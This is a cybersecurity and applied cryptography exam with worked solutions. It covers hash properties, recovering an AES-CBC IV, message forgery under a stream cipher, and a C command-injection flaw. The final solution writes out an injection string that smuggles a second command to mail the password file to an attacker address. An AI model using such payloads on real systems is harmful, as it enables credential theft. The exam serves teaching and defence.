

Foundations of Cybersecurity/Applied Cryptography

2 February 2024

Exercise n. 1 [12] [All]

As to hash functions (message digest code),

1. State the preimage resistance property, the 2nd-preimage resistance property, and the collision resistance property.
2. Describe what black box attacks are and specify their complexity.

Finally, assume that Police makes a forensics image¹ of a hard disk to be distributed to parties. At the end the copy, the Police computes a hash of both the disk and the image to prove that they are equal.

3. Which security properties must the hash function H satisfy to be suitable for this forensics activity? Motivate your answer assuming that Police is a trusted principal.

Exercise n. 2 [10] [All]

In a company, all files which are sent on the network are automatically encrypted by using AES-128 in CBC mode using the PKCS #7 padding scheme. A fixed key is used, and the initialization vector IV is changed once per day. The network encryption is file-based, so that the IV is used at the beginning of every file.

You managed to eavesdrop the fixed AES-128 key, but do not know the recent IV. Today, you were able to eavesdrop two different encrypted files, one with unidentified content and one which is known to be an automatically generated temporary file and only contains the value 0xFF.

Briefly describe how it is possible to obtain the unknown initialization vector and how it is then possible to determine the contents of the unknown file.

Exercise n. 3 [8] [2022-23]

Consider the following methods for integrity protection with encryption.

Method 1. Assume we apply a technique for combined encryption and integrity protection in which a cipher-text c is computed as $c = E_k(x||h(x))$, where $h()$ is a hash function, $E()$ is an encryption function and $||$ is the concatenation operator.

This technique is not suited if E is a stream cipher because it cannot resist a known-plaintext attack. Explain exactly how an active attacker can now replace x by an arbitrary x' of his/her choosing and compute c' such that the receiver will verify the message correctly. Assume that x and x' are of equal length.

Will this attack work too if the encryption is done with a one-time pad?

Method 2. Checksum is now computed using a keyed hash function MAC as follows: $c = E_{k1}(x||MAC_{k2}(x))$. Assume that $E()$ is a stream cipher as above.

Is the above known-plaintext attack still applicable?

Exercise n. 3 [8] [earlier]

Consider the following piece of C code that sends an email to a generic address:

```
void send_mail(const char* addr) {
    char buffer[256];
    sprintf(buffer, "/bin/mail %.200s < /tmp/email", addr);
    if(system(buffer) == 0) { /* Handle error */ }
}
```

Assume the “addr” parameter is tainted. Does the code contain any vulnerability? If this is indeed the case, give an example of how an attacker can exploit it and then suggest a possible correction.

¹ A forensics image consists in a bit-wise copy.

Solution

EXERCISE N.1

Question 1 and 2. See theory.

Question 3. The forensics image is performed by a trusted entity. Let fi denote the forensics image. What we would like to avoid is that a malicious party M could modify the forensics image fi into forged forensics image fi' , different of fi , so that $H(fi) = H(fi')$, with $H(\bullet)$ a secure hash function. It follows that hash function H must be 2nd-preimage resistant, in other words it should be a one-way hash function.

EXERCISE N.2

Let k the key, IV the initialization vector, $C1$ and $C2$ the ciphertexts deriving from file $F1$ and $F2$, where $F1$ is the temporary file and $F2$ is the unknown file.

The adversary determines the initialization vector IV as follows.

1. $C1$ is one block long.
2. File $F1$ needs to be padded; the padding constitutes of 15 bytes equal to $0 \times 0F$, therefore the plaintext that produces $C1$ is $P1 = 0 \times FF \parallel 0F \parallel \dots \parallel 0F$.
3. The initialization vector is $IV = P1 \oplus D_k(C1)$.

The unknown file can be obtained by decrypting $C2$ by means of k and IV .

EXERCISE N.3 [2022-23]

Method 1.

1. The adversary knows x and therefore computes $h(x)$;
2. The adversary computes k from x and $h(x)$;
3. The adversary computes $h(x')$;
4. The adversary computes $c' = E_k(x' \parallel h(x'))$.

This attack will work if the encryption is done with OTP too.

Method 2

The adversary does not know $k2$ and thus (s)he is not able to compute $MAC_{k2}(x')$.

EXERCISE N.3 [EARLIER]

The code is subject to OS injection attack. Assume a Unix system. If the user passes the following string `"bogus@addr.com; cat \etc\passwd | mail some@badguy.net"` for the input parameter `addr`, then the `system()` call will actually execute two commands: the first one sends the mail to `bogus@addr.com`, the second one sends the contents of the password file to `some@badguy.net`. In principle, the attacker could do also more dangerous things, for example downloading and executing a malicious program on the victim machine.

A possible countermeasure consists in sanitizing the strings transmitted as an input. Sanitization can be performed by whitelisting (a list of only allowed characters) which is preferable w.r.t. to blacklisting as it privileges security w.r.t. availability.